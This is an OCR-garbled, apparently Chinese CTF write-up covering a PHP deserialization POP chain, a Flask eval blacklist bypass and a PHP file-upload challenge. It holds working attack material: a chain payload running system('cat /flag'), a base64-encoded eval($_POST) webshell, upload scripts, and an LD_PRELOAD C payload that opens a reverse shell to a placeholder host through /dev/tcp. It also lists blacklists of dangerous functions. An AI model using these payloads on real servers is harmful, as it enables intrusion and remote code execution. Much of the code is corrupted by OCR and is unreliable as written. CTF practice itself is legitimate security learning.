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<?php

highlight file(_ FILE );

class crow

{
public $vi;
public $v2;
function eval() {
echo "crow::eval<br>";
echo new $this->v1($this->v2);
¥
public function __ invoke()
{
echo "crow::__invoke<br>";
$this->vi->world();
¥
}
class fin
{

public $f1;
public function _ destruct()

{
echo "fin::__destruct<br>";
echo $this->f1 . '114514';
}
public function run()
{
echo "fin::run<br>";
($this->f1)();
}
public function _ call($a, $b)
{

echo "fin:: call<br>";
echo $this->f1->get_flag();
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}

class what
{
public $a;
public function _ toString()
{
echo "what::__ toString<br>";
$this->a->run();
return 'hello’;
b
b
class mix
{

public $mi;
public function run()

{

echo "mix::run<br>";
($this->m1)();

}

public function get_ flag()

{
echo "mix::get_ flag<br>";
eval('#' . $this->ml);

}

}

unserialize($_GET['p'1);
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<?php
class crow
{
public $vi;
public $v2;
¥

class fin

{
public $f1;

class what
{

public $a;
)
class mix
{

public $mi;
)
$c=new crow();
$fl=new fin();
$f2=new fin();
$f3=new fin();
$w=new what();
$m=new mix();
$f1->f1=%w;
$w->a=$f2;
$f2->f1=%c;
$c->v1=$f3;
$3->f1=%m;

$m->ml="?><?php system('cat Homv*');?>";

echo serialize($f1);
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#coding=utf-8

from flask import Flask,render_template,url_for,render_template_string,redirect,request,current_app,session,abor
t,send_from_directory

import random

from urllib import parse

import os

from werkzeug.utils import secure_filename

import time

app=Flask(__name__)

def waf(s):
blacklist = ['import','(',')'," ',' _',' ', ", {','}'," & , 'getattr','os", 'system', 'class’, 'subclasses"',’
mro', 'request','args','eval','if', 'subprocess', 'file', 'open', 'popen', 'builtins’', 'compile’, 'execfile’, 'from_pyfil
e','config', 'local’, 'self',"item', 'getitem', 'getattribute’, 'func_globals',' init_ ', 'join',' dict_ ']
flag = True
for no in blacklist:
if no.lower() in s.lower():
flag= False
print(no)
break
return flag

@app.route("/")
def index():
"R E|SUctF2022"
return render_template("index.html")

@app.route("/calc",methods=[ 'GET"'])
def calc():
ip = request.remote_addr
num = request.values.get("num"
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%mo%d-%H%M%S",time.localtime()),ip,num)

if waf(num):
try:
data = eval(num)
os.system(log)
except:
pass
return str(data)
else:
return "waf!!"

__main__":
app.run(host="'0.0.0.0",port=5000)

if __name__ ==
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import
(
)

getattr

os

system
class
subclasses
mro

request
args

eval

if
subprocess
file

open

popen
builtins
compile
execfile
from_pyfile
config
local

self

item
getitem
getattribute
func_globals
__init
join
__dict__
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Jimport [NCIN) | |_INIIs IN"|\{|\}|&|getattr|os|system|class|subclasses|mro|request|args|eval|if|subprocess|file|op
en|popen|builtins|compile|execfile|from_pyfile|config|local|self|item|getitem|getattribute|func_globals| init
|join| _dict_/gm



blacklist = ['import', '(', ")', ' ', "', ‘', 'y, ottty {', '}', '&', 'getattr', 'os', 'system', 'class',
'subclasses', 'mro', 'request', ‘'args', ‘'eval', 'if', 'subprocess', 'file', 'open', 'popen',
'builtins', 'compile', 'execfile', 'from_pyfile', 'config', 'local', 'self', 'item', 'getitem',
'getattribute', 'func_globals', ' init__ ', 'join', '__dict_ ']
reg = "'
te=["(C, 'S 1, N Y
for i in blacklist:
# print(i)
for j in te:
if i == j:
print(j)
reg += "\\"

reg += i +

print(reg)
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[<class ’type’ >, <class ’async_generator’ >, <class ’int’>, <class ’bytearray iterator’ >, <class ’bytearray >, <class ’bytes iterator’ >, <class ’bytes’ > <class
Jbuiltin function or method’ > <class ’callable iterator’>, <class’PyCapsule’>, <class’cell’> <class ’classmethod descriptor’>, <class ’classmethod >, <class
"code’ >, <class ’complex’>, <class ’coroutine’>, <class ’dict items’>, <class ’dict_itemiterator >, <class ’dict keyiterator’ >, <class ’dict valueiterator’ >,
<class ’dict_keys’ >, <class ’mappingproxy > <class ’dict_reverseitemiterator’ >, <class ’dict_reversekeyiterator’ > <class ’dict reversevalueiterator’ > <class
>dict_values’ >, <class *dict’>, <class ’ellipsis’>, <class ’enumerate’ >, <class ’float’>, <class ’frame’ > <class ’frozenset’>, <class ’function’>, <class

” generator’ >, <{class ’getset descriptor’ >, <class ’instancemethod > <class ’list iterator’> <class’list reverseiterator’> <class 'list’> <class

" longrange_iterator’ >, <class ’member descriptor’ >, <class ’memoryview >, <class ’method descriptor’ >, <class ’'method’ >, <class ’moduledef’ >, <class ’module’ >,
<class ’odict_iterator’ >, <class ’pickle.PickleBuffer’ >, <class ’property >, <class ’range iterator’ >, <class 'range > <class ’reversed >, <class ’symtable
entry >, <class ’iterator’ >, <class ’set_iterator’ >, <class ’set’ >, <class ’slice’>, <class ’staticmethod’ >, <class ’stderrprinter’ >, <class ’super’ >, <class

" traceback’ >, <class ’tuple_iterator’>, <class ’tuple’>, <class ’str_iterator’>, <class ’str’>, <class 'wrapper descriptor’ >, <class ’types.GenericAlias’ >,
<class ’anext_awaitable’ >, <class ’async_generator asend >, <class ’async_generator athrow >, <{class ’async_generator wrapped value’ >, <class

’ coroutine_wrapper’ >, <class ’InterpreterID’ >, <class ’managedbuffer’ >, <class ’method—wrapper’ > <class ’types.SimpleNamespace’ >, <class ’NoneType >, <class
NotTmplementedType’ >, <class ’weakcallableproxy >, <class ’weakproxy' > <class ’weakref > <class ’types.UnionType >, <class ’EncodingMap’>, <class

’ fieldnameiterator’ >, <class ’formatteriterator’ >, <class ’BaseException’>, <class ’hamt’>, <class ’hamt array node’ >, <class ’hamt bitmap_node’ >, <class

" hamt_collision _node’ >, <class ’keys >, <class ’values’> <class ’items’> <class ’_contextvars.Context’ >, <class ’ contextvars.ContextVar’ >, <class

’ _contextvars. Token’ >, <class ’Token. MISSING >, <class ’filter’ >, <class 'map’>, <class ’zip’>, <class ’_frozen_importlib. ModuleLock’ >, <class

’ _frozen_importlib.BuiltinImporter’ >, <class ’_frozen importlib.Frozenlmporter’ >, <class ’_frozen importlib. ImportLockContext’ >, <class ’_thread.lock’>, <class
’ _thread.RLock’ >, <class ’_thread. localdummy’ >, <class ’_thread. local’ >, <class ’_io. IOBase’ >, <class ’_io. BytesIOBuffer’ » <class

’ _io. IncrementalNewlineDecoder’ >, <class ’nt.Scandirlterator’ >, <class ’nt.DirEntry’ >, <class 'PyHKEY >, <class

' _frozen_importlib_external.WindowsRegistryFinder' >, <class ’_frozen importlib_external. LoaderBasics’ >, <class ' frozen importlib_external.FileLoader’ >, <class
’ _frozen_importlib_external. NamespacePath’ >, <class ’_ frozen importlib_external. NamespacelLoader’ >, <class ’ frozen_importlib_external.PathFinder’ >, <class

’ _frozen_importlib_external.FileFinder’ >, <class ’codecs.Codec’ >, <class ’codecs. IncrementalEncoder’ >, <class ’codecs. IncrementalDecoder’ >, <class

” codecs. StreamReaderWriter’ >, <{class ’codecs.StreamRecoder’ >, <class ’ abc. abc data’> <class ’abe.ABC >, <class ’collections.abc.Hashable’ >, <class

* collections. abc, Awaitable’ >, <class ’collections. abc. AsyncIterable’ >, <class ’collections. abc. Iterable’ >, <class ’collections. abc.Sized >, <class

" collections. abc. Container’ >, <class ’collections. abc. Callable’ >, <class ’os. wrap_close’ >, <class ’os._AddedDl1Directory >, <class ’_sitebuiltins.Quitter’ >,
<class ’_sitebuiltins. Printer’ >, <class ’_sitebuiltins. Helper’ >, <class ’_multibytecodec.MultibyteCodec’ >, <class

’ _multibytecodec, MultibyteIncrementalEncoder’ >, <class ' multibytecodec.MultibyteIncrementalDecoder’ >, <class ’_multibytecodec.MultibyteStreamReader’ > <class
’ _multibytecodec. MultibyteStreamWriter’ >, <class ’types.DynamicClassAttribute’ >, <class ’types. GeneratorWrapper >, <class ’warnings.WarningMessage >, <class

’ warnings. catch_warnings’ >, <class ’importlib. abc.Loader’ >, <class ’itertools.accumulate’ > <class ’itertools.combinations’> <class

" itertools. combinations_with_replacement’ >, <class ’itertools.cycle’ >, <class ’itertools.dropwhile’ >, <class ’itertools. takewhile’ >, <class ’itertools.islice’ >,
<class 'itertools. starmap’ >, <class ’itertools.chain’ >, <class ’itertools.compress’ > <class ’itertools.filterfalse’ >, <class ’itertools.count’>, <class
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log

= "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()), ip, num)

os.system(log)
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echo xxx payload> ./tmp/log.txt
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: f}, data=data, pro
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C:\Users\86185\AppData\Local\Programs\Python\Python318\python.exe C:/Users/86185/Desktop/IfG8i 743k /BUUCTF/DASCTF/upload.py
yloadfflgn> phpinfo();

yloadff|in> phpinfo();

m g &Yl & >

import requests
import re

url = "http://957a8957-d00e-4202-8e75-6b42bedb41a6.nodes.buuoj.cn:81/"
while
payload = input("\n[+]&E¥#ARKIpayloadflan> phpinfo();\n"
template = f"<?php {payload} ?»>"
proxy = {"http": "127.0.0.1:8080"
with open("1.php", "w") as f1
fl.write(template
with open("1.php", "r") as f
# f.write(template+payload)
data = {"submit": "upload"
res = requests.post(url=url, files={'upload file': f}, data=data, proxies=proxy
# print(res.text)
try
reg=re.compile("Look here~ ./(.*?)</div>"
_url = reg.findall(res.text)[0
except Exception as e
print(res.text
continue
# print(_url)
get_url = url + _url
print(get_url
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System Linux out 4.19.221-0419221-generic #202112141049 SMP Tue Dec 14 11:54:51 UTC 2021 x86_64

Build Date Jan 12 2021 01:45:56

Build System Linux c2d0752ec245 4.9.0-8-amd64 #1 SMP Debian 4.9.110-3+deb9u4 (2018-08-21) x86_64 GNU/Linux

Configure Command */configure' "--build=x86_64-linux-gnu' '--with-config-file-path=/usr/local/etc/php' '--with-config-file-
scan-dir=/usr/local/etc/php/conf.d’ *--enable-option-checking=fatal' '--with-mhash’ '--with-pic’ '--enable-
ftp® --enable-mbstring’ *--enable-mysqglnd® '--wi with-sodium=shared" --with-
pdo-sqlite=/usr' --with-sqlite3=/usr' i ith-openss|' '--with-zlib' "--with-pear’
*--with-libdir=lib/x86_64-linux-gnu *build_alias=x86_64-linux-gnu'

Server API Apache 2.0 Handler

Virtual Directory Support disabled

Configuration File (php.ini) Path Jusr/local/etc/php

Loaded Configuration File

Jusr/local/etc/php/php.ini

Scan this dir for additional .ini files

/Jusr/local/etc/php/conf.d

Additional les parsed Jusr/local/etc/php/conf.d/docker-php-ext-gd.ini, fusr/local/etc/php/conf.d/docker-php-ext-sodium.ini
PHP API 20200930

PHP Extension 20200930

Zend Extension 420200930

Zend Extension Build API420200930,NTS

PHP Extension Build API20200930,NTS

Debug Build no

Thread Safety disabled

Zend Signal Handling enabled

Zend Memorv Manaaer enabled

RS functions

zend_version, func_num_args, func_get arg, func_ge
t_args, stremp, strnemp, strcasecmp, strncasecmp, e
ach, error_log, defined, get class, get called _class, g
et_parent_class, method_exists, property_exists, clas
s_exists, interface_exists, trait_exists, function_exists,
class_alias, get_included_files, get_required_files, is_
subclass_of, is_a, get_class_vars, get_object vars, get
_mangled_object vars, get_class_methods, trigger e
rror, user_error, restore_error_handler, set_exception
_handler, restore_exception_handler, get_declared_cl
asses, get_declared _traits, get_declared _interfaces, g
et _defined_functions, get defined vars, create_funct
ion, get_resource_type, get _resources, get_loaded_e
xtensions, extension_loaded, get_extension_funcs, g
et_defined_constants, debug_backtrace, debug_prin
t_backtrace, gc_ mem_caches, gc_collect_cycles, gc_e
nabled, gc_enable, gc S[EELE, gc_status, strtotime,
date, idate, gmdate, mktime, gmmktime, checkdate,
strftime, gmstrftime, time, localtime, getdate, date_
create, date_create_ immutable, date_create_from_fo
rmat, date_create_immutable_from_format, date_par
se, date_parse from_format, date_get last_errors, da
te_format, date_medify, date_add, date_sub, date _ti
mezone_get, date_timezone_set, date_offset _get, da
te_diff, date_time_set, date_date_set, date isodate s
et, date_timestamp_set, date_timestamp_get, timez
one_open, timezone_name_get, timezone_name_fro
m_abbr, timezone _offset_get, timezone_transitions_
get, timezone_location_get, timezone_identifiers_list
, timezone_abbreviations_list. timezone _version_get,
date_interval_create_from_date_string, date_interval
_format, date_default_timezone _set, date_default_ti
mezone_get, date_sunrise, date_sunset, date_sun_inf
o, libxml_set streams_context, libxml_use_internal_e
rrors, libxml_get_last_error, libxml_clear_errors, libxm
|_get_errors, xmlen

zend _version, func_num_args, func_get arg, func_ge
t_args, strcmp, strncmp, strcasecmp, strncasecmp, e
ach, error_log, defined, get _class, get_called_class, g
et _parent_class, method exists, property_exists, clas
s_exists, interface_exists, trait_exists, function_exists,
class_alias, get_included_files, get_required_files, is_
subclass_of is_a, get_class vars, get_object vars, get
_mangled_object vars, get class_methods, trigger e
rror, user_error, restore_error_handler, set_exception
_handler, restore_exception_handler, get_declared_cl
asses, get_declared _traits, get_declared_interfaces, g
et _defined_functions, get_defined vars, create_funct
ion, get_resource_type, get _resources, get loaded e
xtensions, extension_loaded, get_extension_funcs, g
et_defined_constants, debug_backtrace, debug_prin
t backtrace, gc_ mem_caches, gc_collect_cycles, gc_e
nabled, gc_enable, gc = gc_status, strtotime,
date, idate, gmdate, mktime, gmmktime, checkdate,
strftime, gmstrftime, time, localtime, getdate, date_
create, date_create_immutable, date create from_fo
rmat, date_create_immutable_from_format, date_par
se, date_parse_from_format, date_get last errors, da
te_format, date_modify, date_add, date_sub, date_ti
mezone_get, date_timezone_set, date_offset_get, da
te_diff, date_time_set, date_date _set, date_isodate s
et, date_timestamp_set, date_timestamp_get, timez
one_open, timezone_name_get, timezone_name_fro
m_abbr, timezone_offset_get, timezone_transitions_
get, timezone_location_get, timezone identifiers_list
. timezone_abbreviations _list, timezone_version_get,
date_interval_create_from_date_string, date_interval
_format, date_default_timezone_set, date_default_ti
mezone_get, date_sunrise, date_sunset, date_sun_inf
o, libxml_set_streams_context, libxml_use internal_e
rrors, libxml_get last_error, libxml_clear_errors, libxm
I_get _errors, IibxmlMentityﬁloader, libxml_set
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<div class="light"><span class="glow™>

<form enctype="multipart/form-data” method="post” onsubmit="return checkFile()”>
WREK T, AEA k7
<input class="input_file” type="file” name="upload file”/>
{nput class="button” type="submit” name="submit” value="upload”/>

</Torm>

</span>{span class="flare”»</span><div>
<?php

function fun($var): bool{

$bhlacklist = ["\$_", “eval”, copy” ,”assert”,usort”, “include”, “require”, "$", “77, . 7T, T, T "file”, “fopen”, “fwriter”, “fput”, “copy”,

foreach($blacklist as $blackword) {
if (strstr($var, $blackword)) return True:
}

return False;
1

error_reporting(0) :

define ("UPLOAD_PATH”, ”. /uploads”):

$msg = “Upload Success!”;

if (isset($_POST[ submit’])) {

$temp_file = $_FILES[ upload file' ][’ tmp_name ];
$file name = $ FILES[ upload file' ][ name’];
$ext = pathinfo($file_name, PATHINFO EXTENSION) ;
if (Ipreg_match(”/php/i”, strtolower ($ext))) {

die (" H E4F H HIphp”) :

}

$content = file_get_contents($temp_file);
if (fun(&eantent))



<div class="light"><span class="glow">

<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
ikt ANk !
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="upload"/>

</form>

</span><span class="flare"></span><div>

<?php

function fun($var): bool{

$b1ack115t - [||\$_||) “eVal“,"COpy" ,"asser‘t B usort B 1nClude", "r‘equir‘e", " n) "A", ""'", n_n, "oo", "*","'Fil

e","fopen", "fwriter","fput", "copy","curl"”, "fread", "fget", "function_exists","dl", "putenv","system", "exec", "shell

exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr",

getservbyname", "getservbypo

rt", "syslog","popen","show_source","highlight file"," ", "chmod"];

foreach($blacklist as $blackword){
if(strstr($var, $blackword)) return True;

return False;

}

error_reporting(0);

// RE L5 AR

define("UPLOAD_PATH", "./uploads");
$msg = "Upload Success!";

if (isset($_POST['submit'])) {

$temp_file = $ FILES['upload_file']['tmp_name'];
$file name = $ FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!preg_match("/php/i", strtolower($ext))){
die("REHFEFEKphp");

)i

$content = file_get_contents($temp_file);
if(fun($content)){
die("i&, BRI TIE");

¥
$new_file name = md5($file_name).".".$ext;
$img_path = UPLOAD_PATH . '/' . $new_file_name;
if (move_uploaded file($temp file, $img _path)){
$is_upload = true;
} else {
$msg = 'Upload Failed!';
die();
¥
echo '<div style="color:#F@0">'.$msg." Look here~ ".$img path."</div>";
¥
$blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "A", "~U, 5 U-U] MU, Uk Ufile","

fopen", "fwriter", "fput","copy","curl"”,"fread", "fget", "function_exists","dl","putenv", "system", "exec","shell exec

, "passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname", "getservbyport",
"syslog","popen", "show_source","highlight_file"," ", "chmod"];

B SER AL T RCERIAR T



foreach($bhlacklist as $bhlackword){
if(strstr($var, $blackword)) return True;

A LLE BIix B AL 2 B A7 B IR I A3 B strstrifi 8, AR IEN, strstr@ Xt KNS 8URR, Bl AR NSRS HS BLAE, HER
—HEARDHEREIN ¢ FSHEE LGSR

TR BA AT LA F 2 BT FB A -base64 Seit

= CaptfEncoder V2 X - i 0O « a

=5y Url 5§58 X Base64 {3 X

Ll

ASCIl 5563 Base6d 513 1@ =

Base ZFI4H3 W R
Base64 4365 <?php eval($_POST['p']); 2> PDOwaHAQIGV2YWwolFOQTTNUWydw)10pOyA/Pg==

Escape %83

HEX 48

Html entity 4383 l
BE/RHAERTS

Quoted-printable x5

Shellcode S

Sql 4=55

Tap code (&)

Unicode %3

url 55

EaEE

&« > @ ¢ QO 8 975d7042-c38b-4fa3-b3f7-f9a3ba8619c5.noded. buuoj.cn:81/uploads/f3b94e88bd 1bd325af6f62828c8785dd.php
L DiEx Dezey OHE OmeesEle Dazw Dxesame Ose OEses DawEE O aEse Oxess Dgithubig O

PD9waHAgZXZhbCgkX1BPU1RbcFOpOyAgPz4=

<?php eval($ _POST['p']);?>
PD9waHAgZXZhbCgkX1BPU1RbJI3ANXSk7Pz4=

f3b94e88bd1bd325af6+62828c8785dd. php



S bt —AN—a1EAR D Mbaseb4 s i, AEHBAEEMITT

php://filter/convert.base64-decode/resource=./1f3b94e88bd1bd325af6162828c8785dd.php
cGhw0i8vZmlsdGVyL2NvbnZ1cnQuYmFzZTYOLWR1Y29kZS9yZXNvdXJjZTOuL2YzYjkOZTg4YmQxYmQzMjVhZjZmNjI4MjhjODcANWRKLNBoCA

Include(base64 _decode

XESPHR EERRRERER R, RERFRR AR~ Kpayload K & T BB S — T XE4E, AR RIS BT
Bii, W UERTHEESHEZ RN, R —Amd5inE

Snew_file_name = md5(%file_name).".".%ext;
$img_path = UPLOAD_PATH . '/' . $new_file_name;

< C Y A FE£ | 975d7042-c38b-4fa3-b3f7-f9a3ba8619c5.noded.buucj.cn:81/uploads/9bc09ee4e0eb91840f7c5207... B = + O I M O & ®@ & @ i

PHP Version 8.0.1 php

System Linux out 4.19.221-0419221-generic #202112141049 SMP Tue Dec 14 11:54:51 UTC 2021 x86_64

Build Date Jan 12 2021 01:45:56

Build System Linux c2d0752ec245 4.9.0-8-amd64 #1 SMP Debian 4 9.11d73+d3b9u4 (2018-08-21) x86_64 GNU/Linux
Configure Command *./configure' '--build=x86_64-linux-gnu' '--with-config-file-path=/usr/local/etc/php' "--with-config-file-

scan-dir=/usr/local/etc/php/conf.d’ --enable-option-checking=fatal’ '--with-mhash’ '--with-pic’ '--enable-
ftp' *--enable-mbstring’ '--enable-mysgind’ '--with-password-argon2’ '--with-sodium=shared' '--with-
pdo-sqlite=/usr' '--with-sqlite3=/usr' '--with-curl' --with-libedit' '--with-openss|' '--with-zlib' '--with-pear'
'--with-libdir=lib/x86_64-linux-gnu' '--with-apxs2' --disable-cgi’ 'build_alias=x86_64-linux-gnu'

Server API Apache 2.0 Handler

Virtual Directory Support disabled

x dl TUE  BHlE Recorder & WE RIS MEE R NA %22 Lighthouse ~ HackBar  Web Scraper  EditThisCookie ~ HackBar

LOAD SPLIT EXECUTE TEST ~ sqQLl SHELL ~ ENCODING ~ HASHING ~

URL
http://975d7042-c38b-4fa3-b3f7-f9a3ba8619c5.node4.buuoj.cn:81/uploads/9bc09ee4e0eb91840f7c5207e1d84852.php

enctype

Jizile application/x-www-form-urlencoded ADD HEADER

POST

Body
p=phpinfo();




M HE#HE ( http://f034db10-928b-4a308-9413-62037495652a.node4.buuoj... - O X ©:Em A S o Wi

mEE xES R v o

B ERifs v

3

URLthE = | http:/(975d7042-c38b-4fa3-b3f7-f9a3baB619c5.noded. buuoj.cn:ﬂl,l’uplua(|

EEEE ) |
RsEE |
FREE  UTs v
EESE op v

AR

@ defaul (i)

) bases4

O cr

ERAE AN, AWSIERLE, BAETRERNSIFEHMRLRBAERET, FTURINMKREE DRR x5
disable_functions, FIASHIXFRE L E

https:/mwww.freebuf.com/articles/network/263540.html

https://github.com/yangyangwithgnu/bypass_disablefunc_via_ LD _PRELOAD
XEMALD_PRELOAD#I#F R4 R EH /7 - B AW bAE U, WG HFEFEEZXNMERsoX
B EmiE— B Eso3fF, cIERBIT

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload()
{
system("bash -c 'exec bash -i &>/dev/tcp/xxxxx/2333 <&1'");
¥
int geteuid()
{
if (getenv("LD_PRELOAD") == NULL)
{
return 0;
¥
unsetenv("LD_PRELOAD");
payload();
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akali
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source

- 05:10 1 %/Desktop/soiirce
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- 05:10  ~/Desktop/source -

.C -0 exp.so -shared -fPIC

05:10  ~/Desktop/source

05:10  ~/Desktop/source

EBIRR MR nAT, WEELF, REElInux b4

MG 2R Hfile_put_contents, KRIVXASEEEZEH T

Fatal error: Uncaught Error: Call to undefined function file_put_contents() in /var/www/html/uploads/f3b94e88bd1bd325af6f62828c8785dd.php(1) : eval()'d code:1 Stack trace: #0
Jvar/www/html/uploads/f3b94e88bd1bd325af6f62828c8785dd.php(1): eval() #1 fvar/www/html/uploads/9bc09ee4e0eb91840f7c5207e1d84852.php(1): include('/var/www/html/u...') #2 {main}
thrown in /var/www/html/uploads/f3b94e88bd1 bd325afdf62828c8785dd.php(1) :eval()'d code on line 1

= o JTE= & Recorder & Mg REE MR RE WA %2 Lighthouse ~ HackBar ~ Web Scraper  EditThisCookie ~ HackBar B1 | £

LOAD SPLIT EXECUTE TEST ~ sQLl -~ LFl ~ SHELL -~ ENCODING ~ HASHING

URL
http://975d7042-c38b-4fa3-b3f7-f9a3ba8619c5.node4 . buuoj.cn:81/uploads/9bc09ee4e0eb91840f7¢5207e1d84852.php

enctype

s application/x-www-form-urlencoded ADD HEADER

POST

Body
p=file_put_contents(‘'exp.so,1°);




B A SR S AR SO B %, AT LAE BIVERS BLEE — 1 move_uploaded_file, %8R #uth T LAREAT UM EA%

WARR R LA — MRS BT, 7T CMEA Z BT ibase645 D)7, AT LLE X 1.php ) A & #EAT B S BI AT

<?php
eval($_POST['p']);
$temp_file = $ FILES['upload_file']['tmp_name'];
if(move_uploaded_file($temp file, "/var/www/html/uploads/exp.so")) {
echo "upload success~";
} else {
echo "failed~";

PD9waHAKZXZhbCgkX1BPU1RbJI3ANXSk7CiROZWIwX2ZpbGUgPSAKXOZITEVTWYd1cGxVYWRFZmlsZSddWyd@bXBfbmFtZzSddOwppZihtb3z1
X3VwbG9OhZGVkX2ZpbGUoJHR1bXBfZmlsZSwgIi92YXIvd3d3L2h@bWwvdXBsb2Fkcy9leHAuc28iKSkgewogICAgZWNobyAidXBsb2FkIHN1Y2N1
Cc3N+IjsKFSBIbHN1IHsSKICAgIGVjaG8gImZhaWx1ZH4iOwp9IAo/Pg==

RJEE — A pythonfli A& % AL X Nsoxcff, REWT

import requests
import re

url = "http://0fba9505-2138-43a3-a610-09c2e9994cee.node4.buuoj.cn:81/uploads/9bco@9eede0eb9184017c5207e1d84852.ph
p'
while True:
input (" EfE—K")
proxy = {
‘http':'127.0.0.1:8080"
}
with open("exp.so", "rb") as f:
res = requests.post(url=url, files={'upload _file': f}, proxies=proxy)
print(res.text)
try:
final url="http://0fba9505-2138-43a3-a610-09c2e9994cee.node4.buuoj.cn:81/uploads/exp.so’
get _res = requests.get(url=final_url)

if get_res.status_code != 404:
print(get_res.text)
except Exception as e:
print(res.text)
continue
# print(_url



ode4.buuoj.cn:8

) as f:
url=url, {'upload_file': f}, proxies=proxy)

.noded.buuc

5€1'5 (GOL0U VAPPUE La \LULAL \F1"UY1 @il \F Y LIV \F Y LIUIIO LU \PY LIHUN . AT L./ USEI'D/ 00103/ UESR LUPY (ALY X [TF5/ DUUL I F/ URSU IT [ 3U. Py

Undefined array key "p" in <b>/var/www/html/upl 4e88bd1bd325 dd.php</ on line

m g & Yl

200 ¢ ¢ @0l

OK, R 7E 3t BLE R F X AN phpSC AT B E IR IO R A R geteuid , ZERBESTE mail() REIAEA, HIFE Kmailigt
i) geteuid() REFRBMAIEN R BERIIE CEEELD _PRELOADFERE £ E, HTLD PRELOADI S & i KI5 %K
REEN, FIUSEHERZ Aigeteuid B, MMARIIITHAHIE K

payloadfl T

p=putenv("LD_PRELOAD=/var/www/html/uploads/exp.so" mail

< X Y A FE£ | 0fba9505-2138-43a3-a610-09c2e9994cee.node4.buuoj.cn:81/uploads/9bc09eedelebd1840f7c5207... & &8 W P®0 & B & @ & i

Warning: Undefined array key "upload file" in /var/www/html/uploads/f3b94e88bd1bd325af6f62828c8785dd.php on line 3

Warning: Trying to access array offset on value of type null in /var/www/html/uploads/f3b94e88bd1bd325af6f62828c8785dd.php on line 3
failed~

= al Tt B%lE Recorder & Mg RS MEE O RNE O NE &2e Lighthouse ~ HackBar  Web Scraper EditThisCookie HackBar @11

LOAD SPLIT EXECUTE TEST ~ sqQLl -~ SHELL ~ ENCODING ~ HASHING

URL
http://0fba9505-2138-43a3-a610-09c2e9994cee.node4.buuoj.cn:81/uploads/9bc09ee4e0eb91840f7c5207e1d84852. php

enctype

e application/x-www-form-urlencoded ADD HEADER

POST

p=putenv("LD_PRELOAD=/var/www/html/uploads/exp.so"); mail(";;,)
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